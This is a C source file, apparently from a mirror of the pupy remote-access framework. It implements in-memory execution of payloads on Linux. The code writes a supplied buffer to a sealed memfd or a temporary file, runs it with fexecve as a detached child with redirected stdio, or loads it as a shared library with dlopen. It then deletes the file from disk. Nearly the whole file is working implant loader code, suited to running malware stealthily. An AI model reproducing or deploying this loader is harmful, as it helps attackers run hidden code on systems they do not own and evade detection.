mirror of https://github.com/n1nj4sec/pupy.git
385 lines
9.0 KiB
C
385 lines
9.0 KiB
C
#define _GNU_SOURCE
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <limits.h>
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#include <fcntl.h>
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#include <stdlib.h>
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#include <alloca.h>
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#include <string.h>
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#include <dlfcn.h>
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#include <stdio.h>
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#include <unistd.h>
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#include <sys/mman.h>
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#include <link.h>
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#include <dlfcn.h>
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#include <sys/wait.h>
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#include <signal.h>
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#include <errno.h>
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#include "list.h"
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#include "tmplibrary.h"
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#include "debug.h"
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#include "memfd.h"
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#include "decompress.h"
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extern char **environ;
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/*
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So.. We don't want to bother with reflective bla-bla-bla. Just
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upload buffer to temporary file, load it as a library using standard
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glibc calls, then delete
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*/
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static inline
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const char *gettemptpl() {
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static const char *templates[] = {
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"/dev/shm/XXXXXX",
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"/tmp/XXXXXX",
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"/var/tmp/XXXXXX",
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NULL
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};
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static const char *tmpdir = NULL;
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if (! tmpdir) {
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int i;
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for (i=0; templates[i]; i++) {
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char *buf = alloca(strlen(templates[i]+1));
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strcpy(buf, templates[i]);
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int fd = mkstemp(buf);
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int found = 0;
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if (fd != -1) {
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int page_size = sysconf(_SC_PAGESIZE);
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if (ftruncate(fd, page_size) != -1) {
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void *map = mmap(
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NULL,
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page_size,
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PROT_READ|PROT_EXEC,
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MAP_PRIVATE|MAP_DENYWRITE,
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fd,
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0
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);
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if (map != MAP_FAILED) {
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munmap(map, page_size);
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found = 1;
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} else {
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dprint("Couldn't use %s -> %m\n", buf);
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}
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}
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unlink(buf);
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close(fd);
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if (found) {
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tmpdir = templates[i];
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break;
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}
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}
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dprint("TRY: %s -> %d (%m)\n", buf, fd);
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}
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if (!tmpdir) {
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abort();
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}
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}
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return tmpdir;
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}
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typedef struct library {
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const char *name;
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void *base;
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} library_t;
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bool search_library(void *pState, void *pData) {
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library_t *search = (library_t *) pState;
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library_t *current = (library_t *) pData;
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if (!strcmp(search->name, current->name)) {
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search->base = current->base;
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dprint("FOUND! %s = %p\n", search->name, search->base);
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return true;
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}
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return false;
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}
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int drop_library(char *path, size_t path_size, const char *buffer, size_t size) {
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int fd = pupy_memfd_create(path, path_size);
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bool memfd = true;
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if (fd < 0) {
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dprint("pupy_memfd_create() failed: %m\n");
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memfd = false;
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const char *template = gettemptpl();
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if (path_size < strlen(template))
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return -1;
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strcpy(path, template);
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fd = mkstemp(path);
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if (fd < 0) {
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return fd;
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}
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}
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if (size > 2 && buffer[0] == '\x1f' && buffer[1] == '\x8b') {
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dprint("Decompressing library %s\n", path);
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int r = decompress(fd, buffer, size);
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if (!r == 0) {
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dprint("Decompress error: %d\n", r);
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close(fd);
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return -1;
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}
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} else {
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while (size > 0) {
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size_t n = write(fd, buffer, size);
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if (n == -1) {
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dprint("Write failed: %d left, error = %m, buffer = %p, tmpfile = %s\n", size, buffer, path);
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close(fd);
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unlink(path);
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fd = -1;
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break;
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}
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buffer += n;
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size -= n;
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}
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}
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if (memfd) {
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fcntl(fd, F_ADD_SEALS, F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE);
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}
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return fd;
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}
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static inline int
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set_cloexec_flag (int desc) {
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int oldflags = fcntl (desc, F_GETFD, 0);
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if (oldflags < 0)
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return oldflags;
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oldflags |= FD_CLOEXEC;
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return fcntl (desc, F_SETFD, oldflags);
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}
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pid_t memexec(const char *buffer, size_t size, const char *argv[], int stdior[3], bool redirected_stdio, bool detach) {
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dprint("memexec(%p, %ull, %d)\n", buffer, size, redirected_stdio);
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char buf[PATH_MAX]={};
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int fd = drop_library(buf, PATH_MAX, buffer, size);
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if (fd < 0) {
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dprint("Couldn't drop executable: %m\n");
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return NULL;
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}
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int p_wait[2];
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int p_stdin[2];
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int p_stdout[2];
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int p_stderr[2];
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if (pipe(p_wait) < 0) {
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dprint("Couldn't create wait pipe: %m\n");
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goto _lbClose;
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}
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if (redirected_stdio) {
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if (pipe(p_stdin) < 0)
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goto _lbClose0;
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if (pipe(p_stdout) < 0)
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goto _lbClose1;
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if (pipe(p_stderr) < 0)
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goto _lbClose2;
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}
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pid_t pid = 0;
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if (detach) {
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pid = fork();
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if (pid == -1) {
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dprint("Couldn't fork: %m\n");
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goto _lbClose3;
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}
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}
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if (!pid) {
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pid = fork();
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if (pid == -1) {
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exit(1);
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}
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if (pid) {
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if (detach) {
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write(p_wait[1], &pid, sizeof(pid));
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exit(0);
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}
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} else {
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if (redirected_stdio) {
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dup2(p_stdin[0], 0); close(p_stdin[1]);
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dup2(p_stdout[1], 1); close(p_stdout[0]);
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dup2(p_stderr[1], 2); close(p_stderr[0]);
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}
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close(p_wait[0]);
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set_cloexec_flag(p_wait[1]);
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fexecve(fd, argv, environ);
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execv(buffer, argv);
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int status = errno;
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write(p_wait[1], &status, sizeof(status));
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exit(1);
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}
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}
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close(p_wait[1]);
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p_wait[1] = -1;
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int status = 0;
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int error = 0;
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pid_t child_pid = 0;
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if (detach) {
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if (read(p_wait[0], &child_pid, sizeof(child_pid)) < 0) {
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dprint("Reading child pid failed: %m\n");
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goto _lbClose3;
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}
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if (waitpid(pid, &status, 0) < 0 || WEXITSTATUS(status) != 0) {
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dprint("Invalid child state\n");
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goto _lbClose3;
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}
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} else {
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child_pid = pid;
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}
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dprint("Wait exec status...\n");
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if (read(p_wait[0], &error, sizeof(error)) < 0) {
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dprint("Reading error failed: %m\n");
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goto _lbClose3;
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}
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dprint("Child error status: %d\n", error);
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if (error)
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goto _lbClose3;
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dprint("Child at %d\n", child_pid);
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if (redirected_stdio) {
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close(p_stdin[0]); stdior[0] = p_stdin[1];
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close(p_stdout[1]); stdior[1] = p_stdout[0];
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close(p_stderr[1]); stdior[2] = p_stderr[0];
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}
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close(p_wait[0]);
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close(fd);
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if (!is_memfd_path(buf)) {
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sleep(1);
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unlink(buf);
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}
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return child_pid;
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_lbClose3:
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if (redirected_stdio)
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close(p_stderr[0]); close(p_stderr[1]);
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_lbClose2:
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if (redirected_stdio)
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close(p_stdout[0]); close(p_stdout[1]);
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_lbClose1:
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if (redirected_stdio)
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close(p_stdin[0]); close(p_stdin[1]);
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_lbClose0:
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if (p_wait[0] > 0)
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close(p_wait[0]);
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if (p_wait[1] > 0)
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close(p_wait[1]);
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_lbClose:
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close(fd);
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unlink(buf);
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dprint("Exited with error\n");
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return -1;
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}
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void *memdlopen(const char *soname, const char *buffer, size_t size) {
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dprint("memdlopen(\"%s\", %p, %ull)\n", soname, buffer, size);
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static PLIST libraries = NULL;
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if (!libraries) {
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libraries = list_create();
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}
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library_t search = {
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.name = soname,
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.base = NULL,
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};
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if (list_enumerate(libraries, search_library, &search)) {
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dprint("SO %s FOUND: %p\n", search.name, search.base);
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return search.base;
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}
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void *base = dlopen(soname, RTLD_NOLOAD);
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if (base) {
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dprint("Library \"%s\" loaded from OS\n", soname);
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return base;
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}
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char buf[PATH_MAX]={};
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int fd = drop_library(buf, PATH_MAX, buffer, size);
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if (fd < 0) {
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dprint("Couldn't drop library %s: %m\n", soname);
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return NULL;
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}
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bool is_memfd = is_memfd_path(buf);
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dprint("Library \"%s\" dropped to \"%s\" (memfd=%d) \n", soname, buf, is_memfd);
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#ifndef NO_MEMFD_DLOPEN_WORKAROUND
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if (is_memfd) {
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char *fake_path = tempnam("/dev/shm", NULL);
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if (!fake_path) {
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fake_path = tempnam("/tmp", NULL);
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}
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if (fake_path) {
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if (!symlink(buf, fake_path)) {
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strncpy(buf, fake_path, sizeof(buf)-1);
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is_memfd = false;
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}
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free(fake_path);
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}
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}
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#endif
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base = dlopen(buf, RTLD_NOW | RTLD_GLOBAL);
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if (!is_memfd) {
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close(fd);
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}
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if (!base) {
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dprint("Couldn't load library %s (%s): %s\n", soname, buf, dlerror());
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unlink(buf);
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return NULL;
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}
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dprint("Library %s loaded to %p\n", soname, base);
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library_t *record = (library_t *) malloc(sizeof(library_t));
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record->name = strdup(soname);
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record->base = base;
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list_add(libraries, record);
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unlink(buf);
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return base;
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}
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